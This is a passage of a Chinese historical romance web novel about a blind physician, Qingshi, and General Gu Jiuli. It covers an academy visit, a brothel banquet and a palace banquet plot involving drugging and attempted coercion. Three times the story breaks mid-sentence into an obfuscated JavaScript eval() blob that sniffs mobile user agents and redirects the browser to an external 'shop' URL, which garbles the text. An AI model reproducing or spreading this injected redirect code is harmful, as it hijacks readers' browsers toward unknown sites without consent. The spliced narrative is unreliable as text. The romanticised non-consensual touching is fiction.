“哎……没关系青时,我……我明日再问。”马齐林捂着心口说道。 “啪” 顾九黎放下手中的筷子,磨了磨侧牙,“怎么,马齐林你和汪玲玲的婚事取消了?” 马齐林脸色唰一下变黑,咬牙切齿道:“顾九黎你这家伙!说了别和我提那个泼妇!” “哼。”顾九黎起身一手搭上青时的肩膀,“不是说今日要去求知学宫吗,走吧。” “哦,好。”青时人都还没站稳就被顾九黎抓着手腕往外走。 马齐林看着两人离去的背影跳脚,“唉唉唉,你们等等我,我也要去!” 马车上。 “青时你干嘛要去求知学宫啊,那里都是一群书呆子,没什么好看的。”马齐林问。 青时:“是去看我弟弟,他正在学宫读书。” “青时你还有弟弟啊,今年几岁了?”马齐林好奇。 “今年刚满10……!”青时说着话的时候马车忽然颠簸,他差点被颠飞出去,还好顾九黎出手抱住他。 “哎呦!”马齐林结结实实摔了屁股蹲,他坐在马车地面看到被顾九黎护在怀里的青时,忍不住翻了个白眼,心中腹议:兄弟你看他的眼神着实不像看恩人好吧! “嘶——”马齐林摸着自己的后腰坐回去。 青时:“马公子,你没事吧?” “青时你叫我其林就好,我没事,就是摔了一下。”马齐林回应。 “我这有药,你可以……”青时去摸自己腰间,却突然想起自己之前穿的衣服早就不知道被丢了哪去了,腰间的药包自然也没了,其余行李也都落在了客栈。 他拉住顾九黎的衣袖,“九黎,我的行李好像还在客栈……这么多天了掌柜只怕已经扔了,哎。”青时叹了口气,轻咬住自己的唇角。 顾九黎瞟了一眼苦恼的青时,嘴角勾起隐秘的弧度,“你是说你那些个瓶瓶罐罐的话,它们在府里的杂物房。” “真的?!”青时高兴道谢,“谢谢你九黎。那些药油药膏丢了都无所谓,但行李里有我爹传给我的一副金针,丢了就太可惜了。” 呜呜呜,男主真是个好人! “九黎你还会治病啊?”听了一耳朵的马齐林好奇问道。 青时羞涩笑笑,“小时候和父亲学过几年,略懂一二。” “哇,那也很棒耶!”马齐林夸赞,他之前看到青时的眼睛还觉得他说的救治顾九黎一事掺了水分,现在看都是真才实学啊,“青时是哪儿人呐,家里是医学世家?” 青时:“并州人,不算是世家吧,只是偶尔给村民看看头疼脑热之类的小病。” “嗷嗷,这次来晏城是专门送弟弟来学宫吗,之后有什么打算呢,是留在晏城,还是准备回去啊?”马齐林追问。 “是……”青时沉默了一下,笑道,“如果没什么意外的话是要回去的。”可惜他注定会发生意外。 闻言顾九黎脸色一沉,MD,招惹了他竟然还想着全身而退,他是不是对他太好了?! “青时你……”马齐林还想问什么,顾九黎直接打断他,“安静点,你太吵了。” “我!”马齐林气绝,狠狠瞪了一眼顾九黎就坐在一边生起了闷气。 十来分钟后,求知学宫到了。 学宫除了学生一般人是不让进的,不过顾九黎亮出了将军府的令牌,没人敢拦住他们。 三人顺利的找到正在上学的宋青玉。 宋青玉看到青时和顾九黎双眼泛光,冲过来抱住青时的腰,“哥!大黑!你们来看我吗?!” 听到宋青玉中气十足的声音,青时揉了揉他的头顶,“在学宫一切都好吗?” 宋青玉从青时怀里出来,“都好,同窗很友善,先生学问也很好,我学到了很多。” “那就好。”青时很欣慰。 宋青玉注意到青时和顾九黎穿的衣服,“哥,大黑,你们今日怎么看上去这么贵气?” “啊,忘记介绍了,”青时指着身侧的顾九黎道,“这位是顾九黎顾将军。” “啊?!”宋青玉张大嘴望着顾九黎,不可置信地自语:“大黑是威武将军顾九黎?” 顾九黎朝他勾起唇角,“是的。” “嘶——”宋青玉眼前发黑,倒吸冷气,他扯了扯青时的衣摆,“哥,哥,你跟我来一下。” 宋青玉拉着人走出去一段距离,才小声问道:“哥,你没事吧?听说威武将军性格恶劣,杀人如麻,你把他当仆人使, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299431|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他……他没打你吧?” 青时摇摇头,“放心吧,我没事。倒是你银子够用吗?” “够的够的,哥你都把家里大部分积蓄都给我了。”宋青玉担忧地抓着青时的衣袖,“哥,你找个机会早点回村里吧,万一哪天惹大黑……顾九黎不高兴,他拿捏你你跑都跑不了,他们那些贵人一个个脾气古怪的很。” “嗯,我会的。” 宋青玉:“哥你回去之后,记得给我写信。” “好。” 学宫不方便久留,看完宋青玉几人就踏上了返程路。 路上马齐林看着面无表情的顾九黎欲言又止,瞄了好几眼之后他终于没忍住笑出声:“哈哈哈哈哈,顾九黎你什么时候有的大黑这个名字,哈哈哈哈……” 顾九黎篾了一眼笑得直不起腰的马齐林,牵着青时往前走了一段,用行动表示不想和傻子为伍。 “哎哎!”马齐林擦了擦眼角笑出的泪水,快步追上去,“给兄弟说说嘛,谁这么有才给你取这么个好名字。” 听见他的话青时神情有些尴尬,大黑这个名字是他随口取的,现在听来确实比较羞耻哈。 顾九黎冷哼一声不想理他,不过当他看到青时窘迫的神情时突然生出一点逗弄的心思,他凑近青时的耳边轻声问:“少爷,你能和我说说为什么会给我取大黑这个名字吗?” “我……” “我当是谁这么不知廉耻在学宫卿卿我我,原来是我们豪掷万金的顾大将军。”突如其来的话语插进来。 “啧,”马齐林看着站在不远处的两人,暗暗翻了个白眼,“原来是沈诺沈郎中,好久不见,您还是如此美丽。” “你!”被无视的陈康破防。 沈诺拦住跳脚的陈康,先招呼了一声马齐林,“马公子。”再转向顾九黎,“顾将军,学宫不比外头,麻烦您还是注意一下。” 顾九黎嗤笑一声,“沈二你还是先管好自己的狗,别让他出来乱吠,我怎么样轮不到你管。”说完便牵着青时离开。 身后沈诺看着顾九黎离去的背影,眸中闪过一丝难过。 陈康见他一直看着三人的身影,以为沈诺是被顾九黎的话伤到,“沈二哥,你别气,那顾九黎为了个男人豪掷万金,他现在都成整个晏城的笑柄了。” 沈诺收回视线,勉强笑了笑没说话。 “呸呸呸!真晦气!虽然听说沈二挂了学宫的先生头衔,但没想到第一次来就能撞见。”马齐林吐槽。 青时不解:“那位沈先生的声音听起来很清正,不像是个坏人啊,你为什么这么讨厌他?” “害,沈二以前还挺好的,现在入了官场之后和他那个尚书爹一个模子刻出来的,老古板。”说着马齐林忽然想到什么调侃道,“话说回来九黎你和沈二小时候是不是还被指腹为婚来着,哈哈,这么说他还是你未婚夫嘞。” 顾九黎脸色一黑,“不会说话就别说。” 马齐林眨眨眼,看向顾九黎和青时交握的手,轻轻打了几巴掌自己的嘴,朝顾九黎露出歉意的微笑。 顾九黎一把抱起还在若有所思的青时两步跨上马车,“马齐林,你自己走回去吧。” ——八八,这个沈诺不会就是男主的官配吧,指腹为婚,相爱相杀! 886:有可能哎! “你在想什么?” “沈诺……”意识到自己说了什么青时连忙捂住自己的嘴。 顾九黎无奈叹了口气,“少爷,我和沈诺真没什么,婚约只是小时候父母的戏言。” 青时眨眨眼,抓住重点:“九黎,你的记忆都回来了吗?” 12. 医师12 顾九黎不知道为什么话题突然跳到他的记忆上,他察觉到青时隐藏的雀跃,“少爷很希望我恢复记忆吗?” “呃……当然,当然啦。” “少爷你就不怕我恢复记忆后卸磨杀驴吗,你把堂堂一个大将军当仆人使唤,可是重罪。”顾九黎吓唬他。 青时咽了咽口水,仿佛已经感觉到棍子打在自己身上的痛感了,他小声问道:“所以你恢复了吗?” “当然……还没有,少爷,我只是想起来一点零星的片段。”顾九黎不知道他在打什么主意,不过这不影响他继续装傻,有些事情一下子明牌就不好玩了,他很期待少爷之后发现他早已恢复记忆时错愕的表情。 “啊……这样啊……”青时这个心一会儿上一会儿下的,他感觉自己现在已经上了闸,结果左等右等那个刀他就是不砍下来,真煎熬。 * “二表哥!二表哥!”一身男装打扮的五公主祁菲幽怨地看着一杯接一杯喝酒的沈诺,一把抢过他的酒壶,“二表哥,不是说好带我出来玩吗,你怎么一个人喝闷酒?” 沈诺回神,“抱歉,菲菲,我们走吧。” 祁菲双眼一眯,“二表哥,我最近听说顾将军豪掷万金买了个男人回府,这事儿是真的吗?” 沈诺起身的动作一顿,黯然道:“是的。” “二表哥你见过被买回去的那人吗?长得真像他们说的是个天仙?”祁菲好奇道。 沈诺回忆了一下当时站在顾九黎身旁的青年,“确实颜色姝容。” “啧啧啧,”祁菲瞧着失魂落魄的沈诺啧啧称奇,“二表哥你知道自己现在像什么吗?像极了被冷落的正室。” “……”沈诺瞪了她一眼。 “哈哈哈哈,”祁菲嘲笑道,“二表哥你做事干脆利落,怎么在感情一事上这么优柔寡断,你喜欢顾九黎那么久,之前我劝你直接去跟他表明心意,你说不能耽误人家娶妻生子,结果现在人家直接买个男倌回家,你又在这里顾影自怜,你再伤心人家也看不到的。” “要我说呀,二表哥你该出手时就得出手,管他那么多干嘛。” “你不懂,我和他之间……”沈诺叹气。 “我知道,他父母因为舅舅上奏减少粮草补给死在战场上,但这些都是父辈之间的恩怨,跟你们有什么关系,”祁菲起身拍了拍沈诺的肩膀,“二表哥你大胆上,我支持你!” 沈诺无奈,“事情他不是这样算……” “唉唉唉,二表哥那是不是顾将军的马车?”祁菲兴奋地指着楼下经过的马车,“这么晚了,他这是去哪啊?” 闻言沈诺走到窗边,看着马车上的剑穗图案,“是他的车,听说今日马阁老的孙儿在城中春风楼设宴,他应该是去参加宴会吧。” 祁菲眼珠一转,“二表哥,我们也去凑凑热闹吧!” “不行!那春风楼虽说是雅阁,但也算烟花之地,你一个姑娘家……” 祁菲一把拽起严肃叨叨的沈诺,“二表哥,我现在穿的可是男装,再说这不是为了你吗,你就不想去看看顾将军?” “……”沈诺沉默了。 祁菲见状露出得意的笑,“快走!快走!” 晏城,春风楼。 “娇娘,巧巧,许久未见,可曾想我?”马齐林左拥右抱,好不快活。 “当然想了。”“死鬼,这么久你终于想起我来了。”…… 听着耳边的靡靡之音,青时叹了今天第38口气,他就不该听男主可怜巴巴说什么记忆未恢复,要他在身边才安心的话,心软就和他一起出来。 顾九黎注意到身侧坐立难安的青时,低笑一声,凑到他耳边明知故问:“怎么了少爷,不舒服吗?” “……”青时不想理他默默往旁边挪了挪。 “少爷喝过酒吗,要不要尝尝这春风楼的特色好酒——春风刀。”顾九黎揽着青时的腰将人拖回来一些,然后把自己手里的酒杯抵到他唇上。 青时拗不过,伸出舌尖蜻蜓点水浅尝一口,随后他整张脸都皱到一块,“好辣!”像是蒙头被人打了一拳。 “哈哈,”顾九黎被他的反应逗笑了,一口将酒杯中剩余的液体饮尽,给青时倒了一杯度数极低的果酒,“喝点果酒清清口,少爷。” 青时就着他的手喝完一整杯酸甜的果酒才觉得嘴里的辣味被压下。 顾九黎:“看来少爷是无福消受春风刀这等好酒了。” 青时暗暗翻了个白眼,男主越来越皮,他砸吧了一下嘴里的余味,回击道:“将军是身体不太行吗,怎么喜欢喝这种巴戟天酿制的药酒。” “巴戟天?”顾九黎倒酒的动作一顿,反问。 青时笑道:“一种药材,补肾助阳的。” “……好啊,少爷你拐弯抹角骂我是吧,”顾九黎和青时咬耳朵,“我的身体,少爷你不是最清楚吗。” 滚烫的呼吸扫过,青时的身体微颤,他伸手将顾九黎推开一些,“不敢,我只是提醒你不要贪杯,小心补过头晚上睡不着。” 混进春风楼的沈诺和祁菲坐在角落。 沈诺直勾勾望着亲密无间的青时和顾九黎,眼神黯然。 祁菲看向前头顾九黎身旁着云锦的蒙眼公子,又瞧着自家没出息的二表哥,无奈地叹气。 她这二表哥什么都好,就是在感情一事上进退维谷,明明被称为晏城第一美男子,却连个瞎子都抢不过,还得她出手帮一帮啊。 酒过三巡,青时跟着顾九黎上了马车,打道回府。 他因为那果酒滋味不错后面又多喝了几杯,出来被热风一吹脑袋好像有些晕了,于是一上车就靠着车壁闭目养神。 顾九黎见他这样问道:“少爷,你不会两杯果酒就醉了吧?” “唔……晕……”青时嘟囔。 顾九黎无奈叹气,将人抱进自己怀里,双手轻柔按着青时的太阳穴,“少爷,除了你我可还从未如此服侍过他人,真是……” 顾九黎看着青时平静的睡颜,嘴角勾起,居然有胆子把我当仆人使唤,要是换了别人,早就被我乱棍打死了。 “将军,到了。” 听见李明的话顾九黎轻轻拍了拍青时的脸颊,“少爷,醒醒,到家了。” “嗯……”青时在呼喊声中迷迷糊糊起身,歪歪扭扭走了两步腿一软差点滚下马车。 “!”顾九黎急忙接住醉鬼,将人打横抱起,吐槽道:“酒量这么差。” 抱着人往府里走,顾九黎边走边吩咐,“李明,叫厨房煮碗醒酒汤过来。” “是。” 顾九黎将人带回房间,接过醒酒汤,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299432|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他人都出去。 “少爷,把醒酒汤喝了。”顾九黎把人扶起让青时靠在自己怀里,然后拿着醒酒汤喂过去。 醉倒的青时很听话,乖乖抱着他的手喝了起来。 顾九黎看着这一幕思绪不由自主地回到自己失忆刚醒来时,那个时候是他躺在青时怀里,周身都是清苦的药香,清淡、悠远,很好闻。 不受控制地,他缓缓低下头,鼻尖触及温润的颈部皮肤,淡淡的药香从皮肤深处渗透出来进入他的鼻腔,顾九黎喉头剧烈滚动,他想他今日只怕真是补肾的药酒喝多了。 “洗澡……要洗澡……”醒酒汤喝完了,爱干净的青时要闹了,因为他身上都是汗。 “好,小的这就带咱们爱干净的少爷去洗澡。”顾九黎露出无奈地笑,他抱着人进了后院的浴池,喊了两个男仆来服侍青时。 不是他不想亲自帮青时洗,但是他觉得今日再和少爷单独相处下去,他只怕就要做出某种不可描述的事了,万一把少爷吓跑了那就得不偿失了。 顾九黎将一桶冷水兜头泼下,强行让自己冷静下来。 他得承认他对青时的感情确实不像他想象的那般简单,按道理来说在想起自己被当做仆人的经历后他应该是愤怒的,但当时他更多的却是羞恼,甚至嫉妒,妒忌那个木讷却被温柔以待的自己。 * 将军府,凉亭。 “九黎,青时,好久不见呐!”马齐林风风火火的出现。 “齐林,午好。”倚靠在围栏边扇风的青时朝来人打招呼。 一个人下棋的顾九黎头都不抬,“你又来做甚?” 马齐林自己给自己倒了杯茶水,“九黎你收到皇后娘娘夏荷宴的请帖了吗?” “收到了。” “嘿嘿,”马齐林不怀好意道,“这次他们只怕是冲你来的哦,25岁的一品大将军,你府里这正妻之位现在可是个香饽饽。” “……”顾九黎给了他个眼神让他自己体会。 “切。”马齐林视线一转落到青时身上,他悄声说:“九黎,你要不把青时带上,让他帮你挡挡那些莺莺燕燕?” 兄弟饭都喂你嘴里了,你别这都接不住!马齐林对着顾九黎挤眉弄眼。 顾九黎放下手里的黑子,抬头看向马齐林,马齐林朝他疯狂点头。 顾九黎挑挑眉,“我考虑一下。” 马齐林气了个倒仰,“随你吧,真是!我去找我的美美了!” “齐林他怎么了?”青时听到马齐林拂袖而去的声响,问道。 “谁知道,”顾九黎起身走到青时身侧,“少爷,明日有个很重要的宴会,你能和我一起去吗?” “不去。”青时想也不想就拒绝了,他上次就是心软和男主去了那啥春风楼,这次说什么他都不去了,宴会什么的太难过了。 “少爷——这个宴会是皇后娘娘发起的,我不能拒绝,很多晏城的适龄男女都有收到邀请,他们都在盯着我,”顾九黎可怜道,“少爷你就帮帮我吧。” 古代版的相亲宴,男主是想让他当挡箭牌? 青时正想强硬拒绝,没想到顾九黎居然单膝跪在他面前拉起他的手放到自己脸颊上,“少爷你帮帮大黑吧。” 青时手一抖,拒绝的话怎么也说不出口了,“……好。” 13. 医师13 次日,夏荷宴。 宴会场地是在皇后名下的夏荷庄园,此时正是赏荷的好季节。 顾九黎牵着青时的手走进宴会,惊掉一地下巴,两个同样俊秀的男子一黑一白,异常融洽。 他拉着青时找了位置坐下,给青时倒了杯茶,又捻起一块绿豆糕点放到他嘴边,“少爷,尝尝这糕点,这可是御厨的手艺。” “……”青时十分尴尬,“你要不,让我自己吃?” “少爷,他们都看着呢。” 青时内心叹气,默默接受起顾九黎的投喂。 在喧闹的宴会两人所处之地仿佛自带结界,倒是有胆大的贵女想上前搭话,结果刚走近就被顾九黎冰冷的目光锁定,那眼神好像在说‘上前一步就死’,一时间无人再敢上前。 直到皇后娘娘派人来,“顾将军,娘娘有请。” 顾九黎皱了皱眉,对青时耳语道:“少爷,你在此处等我,哪里都不要去,我很快回来。” 青时顺从地点点头。 顾九黎起身甩袖,“带路。” 顾九黎走后青时明显感觉落在自己身上的眼神少了,他放松紧绷的背肌,换了个稍微舒服一些的姿势坐。 “客人,请用绿豆羹,啊——”年轻侍女的声音在身旁响起,下一秒青时便感觉冰凉粘稠的液体洒在了自己的胸口。 “实在抱歉客人,奴不是故意的!”侍女跪倒在地,不停朝青时磕头。 听着砰砰的磕头声,青时赶忙起身阻止她,“没事没事,我没关系的,不怪你。” 侍女:“客人谢谢你,后殿有换洗的男装,奴带客人去换一下吧。” 青时想到顾九黎对他的交代,怕他回来找不到自己,于是想拒绝:“不必了,我……” “客人,您不换的话奴会挨罚的,客人您行行好……”侍女又开始磕头。 “好好好,我去换。”青时见她太可怜便答应了,他尽量早去早回吧。 “好的,客人您跟奴来。”侍女注意到青时眼睛不方便,找了根布带牵着他。 “客人,换洗衣物就在里面,您自行更换就可。”侍女带青时来到一间偏殿,在看到青时摸索着走进去之后,侍女勾唇一笑将房门直接关上。 房间内似乎燃着熏香,香料味道复杂,轻轻浅浅,似有似无。 青时快步走进里间想换了衣服赶紧出去,他摸索着衣服所在的位置,却忽然听闻室内竟然有另一道粗重的呼吸,他心中一惊,“谁?!” “!”一只手抓住青时的胳膊,下一秒他整个人摔到了床榻上,灼热的身躯压在他上方,淡淡的杏花味儿传进鼻间。 “呵,居然给我送了个瞎子过来,”祁朝钳住身下人的下巴,“不过,长得还不错,那我就笑纳了。” “???”青时因为这一套连招懵了一下,这时他还没意识到那侍女有问题他就是傻子了,这是给他干哪来了?反正肯定不是换衣服的地方。 青时挣扎着制止祁朝不规矩的动作,试图和人讲道理,“这位……这位公子,我不小心进入这里,惊扰了你实在抱歉,但是我不是……” “我知道,”祁朝将青时的耳朵放在嘴里噬咬,“不过是谁都无所谓。” 青时觉得这人状态不太对,不会是中了那啥药吧,于是他伸手抓住祁朝的手腕,借机给人摸起了脉搏。 果然,“这位公子,你等一下,你身中情毒,哪怕做这种事毒也不会解的,反而会越加深重……” 闻言祁朝猛的停下动作,捏住青时的脖子,“你是如何知道我中了毒?” 青时因为缺氧眼前发黑,“咳咳,学过一点微末医术。” 祁朝看了一眼脸色涨得通红的青时,嗤笑一声,松开手,“又是谁想玩点新花样,一个瞎子会医术,哈哈哈,真是让人笑掉大牙。” “咳咳咳……”青时大口呼吸缓了好一会儿才回神,“公子,你所中之毒名为情毒,中毒之人会出现情热难耐,难以自持之感,与人鱼水之后症状会缓解,但是下一次爆发会更强烈,此毒无色无味,但中毒之人身上会出现淡淡的杏花香气。” 见青时真能说出个所以然,祁朝眉毛一挑,“你可会解此毒?” 青时沉吟了一下,“没什么把握,但是可以试一下。” “呵,”祁朝穿好衣服做起身,“行啊,那你试试。” 青时摸索着下床,整理好自己的衣领,接着从胸口掏出一个巴掌长的皮革,展开后里面竟然是10根粗细均匀的金针。 “你这东西还带的挺齐全。”祁朝抱臂玩味地看着青时。 “我观公子这毒已中三年之久,一次想要根治肯定是不现实的,我准备先用金针引毒,再辅以药疗,如此7个疗程应该能差不多将情毒完全拔除。”青时说出自己的打算,“今日我先为公子施一次针。” “行,你想扎哪儿,需要脱裤子吗?”祁朝漫不经心地问。 青时嘴角抽抽,“不用,扎脑袋,头部膀胱经穴位。” 正当青时为祁朝扎针之时,一大群人浩浩荡荡往这处偏殿而来,打头的是面色十分难看的顾九黎,他手里还拎着一个侍女。 “将军冤枉啊,是那位公子他自己说要来这边的,到了之后还将奴赶了出来……” “闭嘴,带路就行!”顾九黎咬着牙呵斥。 混在后面人群中的祁菲嘴角差点没压住。 她觉得自己想得这主意简直太棒了,将人打包丢给荤素不忌的三哥,等两人生米煮成熟饭后让顾九黎亲自上门捉奸,虽然顾九黎比她计划的发现的要早些,不过这不影响什么,没准他们现在过去还能看一场活春宫。 等顾九黎亲眼看到心爱之人出轨心灰意冷之时,她再通知二表哥上去嘘寒问暖,这不是手到擒来!她简直是个天才! 来到偏殿顾九黎将手里的侍女扔出去,又让李明带队拦住其他人,一个人上前一脚踹开房门。 “砰!”大门被踹开发出巨大声响,青时差点把手里刚从祁朝脑袋里抽出来的针又插回去,两人十分同步的看向大门方向。 顾九黎原本黑沉的脸色在看到衣衫完好的青时和满脑袋插满金针的祁朝时,转变成了疑惑,“你们这是?” “治病啊,看不见吗,顾将军?”发现青时的治疗真有用的祁朝现在心情很好。 “九黎。”听出顾九黎声音的青时唤了一声。 顾九黎从发现青时不见就开始紧绷的神经猛然放松下来,他快步上前一把抱住青时,“抱歉,我不该带你来的。” 青时两手拿着针被抱个满怀,他犹豫了一下,顺毛一样撸了几下顾九黎的背,“我没事。” “唉唉唉,你们两个,还有人在这儿呢。”被无视的祁朝发出异议,“宋医师,不是说拔针吗?” “哦,对对对,九黎你快放开我,我给人拔下针。” 顾九黎放开人,看着青时麻利的将扎在祁朝头上的金针一一拔下收好。 祁朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299433|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身伸了个懒腰,发出舒服的喟叹,“好久没这么舒服过了,多谢宋医师。” “三皇子为什么会在这儿?”顾九黎把青时拦在自己身后,眼神凌厉地看向祁朝。 祁朝丝毫不惧顾九黎,眼睛在他和青时之间来回转悠了两圈,意味深长道:“不知道啊,我说我想休息一下就有人给我带这儿来了,后面还送来了宋医师。” “噗,讲真的,我得谢谢这人。” 顾九黎理解了他的意思,退后一步抓住青时的手,“少爷,我们回去吧。” “好。”青时乖乖被拉着走了,祁朝在背后朝两人挥手,“回见,宋医师。” 当完好无损的青时跟在顾九黎身后出来时祁菲差点没稳住自己端庄的公主架子。 怎么回事?她三哥不行了?这么长时间人怎么一点事儿没有? 找到人后顾九黎直接带着自己的人马撤出了夏荷庄园,一刻都没有多留。 上了马车顾九黎紧紧握着青时的手没放开,“少爷,你真没事吗,三皇子没对你做什么吧?” “没事啊,就给三皇子扎了几针。” 青时靠在马车座椅上,却突然察觉自己身上的温度好像有点高,只有被顾九黎抓住的地方很舒适,他好想…… 打住!青时赶紧给自己触了脉,快而浮,典型的肾阳过剩。 完蛋,他什么时候中招的? 青时回想了一下之前发生的一切,不对劲的只有……熏香,是那个熏香! 青时被气笑了,真是,一层套一层,套娃呢。 “九黎,你先把我放开。”青时想抽回自己的手,不然他怕自己意志力不够坚定扑到人家身上去。 顾九黎注意到青时的不对劲,眉头微皱,“少爷,你怎么了?” 青时把自己尽量往角落里缩,“刚才那个房间里烧的熏香,有助兴的作用,我在里面待太久中招了。” 顾九黎看着面色潮红的青时,眸色暗沉,心中杀意四起。 “嗬,快离我远点。”青时一边说离开却一边抓紧了顾九黎的手。 顾九黎望着难受得咬住自己下唇的青时,心疼道:“少爷,坚持一下,回府我就叫医师给你配解药。” 青时摇着头说:“这种,没有解药,发泄出来就好了,麻烦等下…送我去浴池。” “……少爷,要不你先在马车上解决一下?”顾九黎回握住青时的手,“您要是不好意思,我可以先下去。” 青时想也未想便摇头,在马车上……这也太羞耻了。 眼见青时用力咬住自己的指节,顾九黎忽然将其拉进怀里,“少爷乖,别咬自己。” “唔!好凉快……”落入充满凉意的怀抱,青时发出喟叹,随后下意识往里钻,将自己更多的贴近顾九黎。 顾九黎把青时的手指拿出来换成自己的,尖锐的犬牙在他的手指上留下细小的伤痕。 回到将军府,顾九黎抱着青时下了马车直奔浴池。 青时滚烫的脸颊贴在他的胸膛上,忍不住用更多的面积去接触,“好热……好凉快……” 顾九黎咬着牙,脚步不停。 微凉的水包裹住全身,稍稍唤回了青时的神志,他枕在岸边,抬头瞧见面露关切地顾九黎,唇角微微扬起,“放心吧大黑,我没事。” “……嗯。”顾九黎第一次觉得“大黑”这个名字还挺好听的,“少爷,我在外面等你,你有事就叫我一声。” “好。” 14. 医师14 “啊!——” 一大早五公主居住的未央宫便传出凄厉的惨叫。 祁菲不敢置信地看着铜镜中自己长满红痘的脸,“啊啊啊啊,谁干的?!” 满屋侍女跪伏在地无人敢应答。 “五公主,太医已到殿外,您看……” “滚!让他滚!”祁菲将桌上的昂贵首饰一股脑丢到地上,丢完觉得不过瘾又将茶壶茶杯一一摔个粉碎。 她堂堂大齐五公主,要是此刻的狼狈样子被宣扬出去,不知道那些贱人会怎么编排她,尤其是那个和她一直不对付的祁妙,肯定会亲自来嘲笑她。 想着祁菲恶狠狠地盯住地上跪的一长溜人,“今日本宫身上发生的事,谁也不准说出去,不然本宫就拔了你们的舌头喂狗!” “谁一大早就惹菲菲表妹生气了?”刚下早朝的沈诺来未央宫看望祁菲,结果刚进殿就听见她要拔宫人的舌头。 “二表哥!呜呜呜……”祁菲扑进沈诺怀里,抱着他哭起来。 沈诺挥手让宫人都下去。 “怎么了,是不舒服吗?”沈诺拍了拍她的脊背,安慰道,“我看你把太医拦在殿外,可是发生了什么?” 祁菲抽噎着抬头,给他看自己面目全非的脸,“二表哥,我毁容了,呜呜呜呜……” “这……这是怎么回事?”看着祁菲原本钟灵毓秀的脸变成这样,沈诺狠狠皱眉,“可是用了什么不该用的东西?” “没有,一觉醒来就这样了。” “菲菲你最近可有得罪什么人?”这般突然长出来肯定不是寻常原因,应该是有人故意所为。 “我没……”祁菲刚想说自己没有,但突然回忆起昨日之事,她双手一拍,“我知道了,是顾九黎!肯定是他做的!” “这如何与顾将军扯上关系?”沈诺疑惑问道。 祁菲支支吾吾,“我……昨日夏荷宴,我把顾九黎买的那个男倌……送到了我三哥床上。” “但是!”在沈诺不赞同的眼神中,她加大声音强调,“但是人被顾九黎救回去了,一点事都没有。” 沈诺恨铁不成钢地拍了两下她的头,“你胆子还真大啊,什么都敢做!” 祁菲捂住自己的头,委屈道:“我这还不都是为了你的终身幸福,二表哥。” 沈诺深深叹了口气,“菲菲,表哥谢谢你的好意,但是感情一事并不如你想得那么简单,就算顾将军身边没有其他人,我和他也不会轻易交心的。” 祁菲撅起嘴,“哦。” “好了,我等下就去找顾将军帮你赔罪。” “凭什么啊!二表哥你不能去!”祁菲拉住沈诺的胳膊,不让他走。 沈诺无奈地看着她说:“怎么,难道你想一直顶着这样一张脸?” “我……好吧……”祁菲泄气。 * 将军府,书房。 青时找顾九黎借纸笔给祁朝写药方,他直接把他带来了书房。 望着认真书写的青时顾九黎忽然回想起之前失忆的自己装傻让人教自己写字的画面,他双眸一沉,起身朝已经准备放笔的青时走过去。 “怎么了?”握笔的手被人抓住,青时疑惑问道。 顾九黎从背后将人圈住,低头靠近青时,“少爷,突然想起之前你教我写的字,要检验一下成果吗?” “啊?怎么检验?”青时不解。 顾九黎将青时握笔的手完全覆盖,牵着他的手在纸上书写了两个名字,“宋青时”和“顾九黎”。 “少爷,我写的如何?” “挺好的,但你的字杀伐之气太重,不适合书写我这种字体,你应该……”青时认真的评价因为顾九黎接下来的举动而消音。 青时抓住圈在自己腰间的手臂,“九黎,你……” “青时少爷,我觉得挺适合的。”顾九黎张口咬住青时的耳尖,用自己的牙印覆盖上面昨日留下的微末痕迹。 “唔!”青时身体一抖,脚下发软差点摔下去,好在腰间顾九黎的手臂支撑住了他。 “少爷,昨日在马车上我就想这么做了,”顾九黎轻轻研磨着口中的软肉,含糊道,“只是当时少爷太脆弱,我怕自己控制不住伤到你,这才没动手。” 顾九黎吐出变得艳红的耳尖,问:“昨日他还碰了哪儿?” “嗬……九黎,你先…先放开我……”青时被他困在方寸之地,挣扎不得,连连求饶。 顾九黎一手握住青时的下颌,食指探进湿热的口腔中,“少爷要是不想说就罢了,我一寸寸检查过去也是一样的。” 青时被迫张着嘴,粗粝的手指摩擦着口中的嫩肉,他双手抓住顾九黎的手想将其抽出,结果毫无悬念,纹丝不动。 “咳,没有了……没有别的地方了……” 正在青时颈部啄吻的顾九黎闻言缓缓抬头,将手指抽出,在他嘴角留下一吻,“抱歉少爷,我冒犯了。” 青时心头剧烈震颤,这男主怎么回事,就算对他没有恨意,也不该以这般旖旎的姿态对待他啊?昨日中药的是他才对吧? “将军,沈郎中在府外求见。” 李明的声音打破了书房内不对劲的气氛,顾九黎听见汇报,冷哼一声,“请他进来。” “九黎,你要见客,那我就先走……” “你也一起听听。”顾九黎不容拒绝地拉着青时坐到了书房会客室的椅子上。 